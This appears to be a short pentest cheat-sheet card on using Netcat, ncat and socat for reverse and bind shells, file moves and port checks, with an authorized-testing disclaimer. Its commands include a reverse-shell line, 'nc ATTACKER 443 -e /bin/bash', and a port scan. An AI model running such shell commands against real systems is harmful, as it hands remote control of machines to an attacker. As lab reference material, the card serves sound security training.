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Post-Exploitation
Netcat / ncat / socat
TCP/UDP Swiss army knife for shells, file transfer, and port checks.
beginner
Linux
Windows
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Exploitation
Post-Exploitation
Authorized testing only. Practice on systems you own, isolated labs, or targets with written permission. Unauthorized access is illegal.
When
Reverse/bind shells, banner grabs, quick file moves in labs.
How
Listener on attacker; connect from target; prefer ncat/openssl for extras.
Why
Absolute fundamental — if you know nc, you can wire almost anything.
Commands & usage
nc -lvnp 443
nc ATTACKER 443 -e /bin/bash
ncat --ssl -lvnp 443
nc -zv 192.168.1.10 1-1000
Commands are educational examples. Adapt hosts, paths, and rates to your authorized scope.
Tags
shells
fundamentals
essential